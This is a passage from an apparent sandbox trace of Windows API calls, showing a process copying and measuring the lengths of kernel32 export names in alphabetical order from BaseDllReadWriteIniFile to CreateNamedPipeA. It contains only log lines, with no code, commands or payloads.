returned 32 [0075.013] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0075.013] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0075.013] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0075.013] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0075.013] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0075.013] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0075.013] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0075.013] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0075.013] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0075.013] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0075.013] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0075.013] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0075.013] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0075.013] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0075.013] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0075.013] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0075.013] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0075.013] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0075.013] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0075.013] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0075.013] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0075.013] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0075.013] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0075.013] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0075.013] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0075.013] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0075.013] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0075.013] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0075.013] lstrcpyA (in: lpString1=0x321db34, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0075.013] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0075.013] lstrcpyA (in: lpString1=0x321db34, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0075.014] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0075.014] lstrcpyA (in: lpString1=0x321db34, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0075.014] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0075.014] lstrcpyA (in: lpString1=0x321db34, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0075.014] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0075.014] lstrcpyA (in: lpString1=0x321db34, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0075.014] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0075.014] lstrcpyA (in: lpString1=0x321db34, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0075.014] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0075.014] lstrcpyA (in: lpString1=0x321db34, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0075.014] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0075.014] lstrcpyA (in: lpString1=0x321db34, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0075.014] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0075.014] lstrcpyA (in: lpString1=0x321db34, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0075.014] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0075.014] lstrcpyA (in: lpString1=0x321db34, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0075.014] lstrlenA (lpString="BEEP") returned 4 [0075.014] lstrcpyA (in: lpString1=0x321db34, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0075.014] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0075.014] lstrcpyA (in: lpString1=0x321db34, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0075.014] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0075.014] lstrcpyA (in: lpString1=0x321db34, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0075.014] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0075.014] lstrcpyA (in: lpString1=0x321db34, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0075.014] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0075.014] lstrcpyA (in: lpString1=0x321db34, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0075.014] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0075.014] lstrcpyA (in: lpString1=0x321db34, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0075.014] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0075.014] lstrcpyA (in: lpString1=0x321db34, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0075.015] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0075.015] lstrcpyA (in: lpString1=0x321db34, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0075.015] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0075.015] lstrcpyA (in: lpString1=0x321db34, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0075.015] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0075.015] lstrcpyA (in: lpString1=0x321db34, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0075.015] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0075.015] lstrcpyA (in: lpString1=0x321db34, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0075.015] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0075.015] lstrcpyA (in: lpString1=0x321db34, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0075.015] lstrlenA (lpString="CANCELIO") returned 8 [0075.015] lstrcpyA (in: lpString1=0x321db34, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0075.015] lstrlenA (lpString="CANCELIOEX") returned 10 [0075.015] lstrcpyA (in: lpString1=0x321db34, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0075.015] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0075.015] lstrcpyA (in: lpString1=0x321db34, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0075.015] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0075.015] lstrcpyA (in: lpString1=0x321db34, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0075.015] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0075.015] lstrcpyA (in: lpString1=0x321db34, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0075.015] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0075.015] lstrcpyA (in: lpString1=0x321db34, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0075.015] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0075.015] lstrcpyA (in: lpString1=0x321db34, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0075.015] lstrlenA (lpString="CHECKELEVATION") returned 14 [0075.015] lstrcpyA (in: lpString1=0x321db34, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0075.015] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0075.015] lstrcpyA (in: lpString1=0x321db34, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0075.015] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0075.016] lstrcpyA (in: lpString1=0x321db34, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0075.016] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0075.016] lstrcpyA (in: lpString1=0x321db34, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0075.016] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0075.016] lstrcpyA (in: lpString1=0x321db34, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0075.016] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0075.016] lstrcpyA (in: lpString1=0x321db34, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0075.016] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0075.016] lstrcpyA (in: lpString1=0x321db34, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0075.016] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0075.016] lstrcpyA (in: lpString1=0x321db34, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0075.016] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0075.016] lstrcpyA (in: lpString1=0x321db34, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0075.016] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0075.016] lstrcpyA (in: lpString1=0x321db34, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0075.016] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0075.016] lstrcpyA (in: lpString1=0x321db34, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0075.016] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0075.016] lstrcpyA (in: lpString1=0x321db34, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0075.016] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0075.016] lstrcpyA (in: lpString1=0x321db34, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0075.016] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0075.016] lstrcpyA (in: lpString1=0x321db34, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0075.016] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0075.016] lstrcpyA (in: lpString1=0x321db34, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0075.016] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0075.016] lstrcpyA (in: lpString1=0x321db34, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0075.016] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0075.016] lstrcpyA (in: lpString1=0x321db34, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0075.016] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0075.016] lstrcpyA (in: lpString1=0x321db34, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0075.017] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0075.017] lstrcpyA (in: lpString1=0x321db34, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0075.017] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0075.017] lstrcpyA (in: lpString1=0x321db34, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0075.017] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0075.017] lstrcpyA (in: lpString1=0x321db34, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0075.017] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0075.017] lstrcpyA (in: lpString1=0x321db34, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0075.017] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0075.017] lstrcpyA (in: lpString1=0x321db34, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0075.017] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0075.017] lstrcpyA (in: lpString1=0x321db34, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0075.017] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0075.017] lstrcpyA (in: lpString1=0x321db34, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0075.017] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0075.017] lstrcpyA (in: lpString1=0x321db34, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0075.017] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0075.017] lstrcpyA (in: lpString1=0x321db34, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0075.017] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0075.017] lstrcpyA (in: lpString1=0x321db34, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0075.017] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0075.017] lstrcpyA (in: lpString1=0x321db34, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0075.017] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0075.017] lstrcpyA (in: lpString1=0x321db34, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0075.017] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0075.017] lstrcpyA (in: lpString1=0x321db34, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0075.017] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0075.017] lstrcpyA (in: lpString1=0x321db34, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0075.017] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0075.017] lstrcpyA (in: lpString1=0x321db34, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0075.017] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0075.018] lstrcpyA (in: lpString1=0x321db34, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0075.018] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0075.018] lstrcpyA (in: lpString1=0x321db34, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0075.018] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0075.018] lstrcpyA (in: lpString1=0x321db34, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0075.018] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0075.018] lstrcpyA (in: lpString1=0x321db34, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0075.018] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0075.018] lstrcpyA (in: lpString1=0x321db34, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0075.018] lstrlenA (lpString="COPYCONTEXT") returned 11 [0075.018] lstrcpyA (in: lpString1=0x321db34, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0075.018] lstrlenA (lpString="COPYFILEA") returned 9 [0075.018] lstrcpyA (in: lpString1=0x321db34, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0075.018] lstrlenA (lpString="COPYFILEEXA") returned 11 [0075.018] lstrcpyA (in: lpString1=0x321db34, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0075.018] lstrlenA (lpString="COPYFILEEXW") returned 11 [0075.018] lstrcpyA (in: lpString1=0x321db34, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0075.018] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0075.018] lstrcpyA (in: lpString1=0x321db34, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0075.018] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0075.018] lstrcpyA (in: lpString1=0x321db34, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0075.018] lstrlenA (lpString="COPYFILEW") returned 9 [0075.018] lstrcpyA (in: lpString1=0x321db34, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0075.018] lstrlenA (lpString="COPYLZFILE") returned 10 [0075.018] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0075.018] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0075.018] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0075.018] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0075.018] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0075.018] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0075.018] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0075.019] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0075.019] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0075.019] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0075.019] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0075.019] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0075.019] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0075.019] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0075.019] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0075.019] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0075.019] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0075.019] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0075.019] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0075.019] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0075.019] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0075.019] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0075.019] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0075.019] lstrlenA (lpString="CREATEEVENTA") returned 12 [0075.019] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0075.019] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0075.019] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0075.019] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0075.019] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0075.019] lstrlenA (lpString="CREATEEVENTW") returned 12 [0075.019] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0075.019] lstrlenA (lpString="CREATEFIBER") returned 11 [0075.019] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0075.019] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0075.019] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0075.019] lstrlenA (lpString="CREATEFILEA") returned 11 [0075.019] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0075.020] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0075.020] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0075.020] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0075.020] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0075.020] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0075.020] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0075.020] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0075.020] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0075.020] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0075.020] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0075.020] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0075.020] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0075.020] lstrlenA (lpString="CREATEFILEW") returned 11 [0075.020] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0075.020] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0075.020] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0075.020] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0075.020] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0075.020] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0075.020] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0075.020] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0075.020] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0075.020] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0075.020] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0075.020] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0075.020] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0075.020] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0075.020] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0075.020] lstrlenA (lpString="CREATEJOBSET") returned 12 [0075.020] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0075.020] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0075.021] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0075.021] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0075.021] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0075.021] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0075.021] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0075.021] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0075.021] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0075.021] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0075.021] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0075.021] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0075.021] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0075.021] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0075.021] lstrcpyA (in: lpString1=0x321db34, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0075.021] lstrlenA 